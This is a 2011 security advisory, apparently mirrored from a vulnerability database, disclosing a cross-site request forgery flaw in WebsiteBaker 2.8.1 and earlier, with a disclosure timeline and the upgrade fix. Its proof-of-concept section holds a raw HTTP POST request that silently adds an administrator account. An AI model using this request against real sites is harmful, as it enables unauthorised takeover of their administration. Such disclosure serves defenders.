Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26846
HistoryAug 17, 2011 - 12:00 a.m.

WebsiteBaker 2.8.1 <= Cross Site Request Forgery (CSRF) Vulnerability

2011-08-1700:00:00
vulners.com
14
  1. OVERVIEW

WebsiteBaker 2.8.1 and lower versions are vulnerable to Cross Site
Request Forgery (CSRF).

  1. BACKGROUND

WebsiteBaker is a PHP-based Content Management System (CMS) designed
with one goal in mind: to enable its users to produce websites with
ease.

  1. VULNERABILITY DESCRIPTION

WebsiteBaker 2.8.1 and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user. By using a crafted
URL, an attacker may trick the victim into visiting to his web page to
take advantage of the trust relationship between the authenticated
victim and the application. Such an attack could trick the victim into
executing arbitrary commands in the context of their session with the
application, without further prompting or verification.

  1. VERSIONS AFFECTED

2.8.1 <=

  1. PROOF-OF-CONCEPT/EXPLOIT

The following request adds an administrator.

[REQUEST]
POST /admin/users/add.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

user_id=&username_fieldname=username_abcdefg&username_abcdefg=test&password=test&password2=test&display_name=test&email=tester%40yehg.net&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=Add
[/REQUEST]

  1. SOLUTION

Upgrade to 2.8.2 or higher

  1. VENDOR

WebsiteBaker Org e. V.
http://www.websitebaker2.org/

  1. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

  1. DISCLOSURE TIME-LINE

2011-01-26: notified vendor
2011-08-01: vendor released fix
2011-08-13: vulnerability disclosed

  1. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[websitebaker-2.8.1]_cross_site_request_forgery

#yehg [2011-08-13]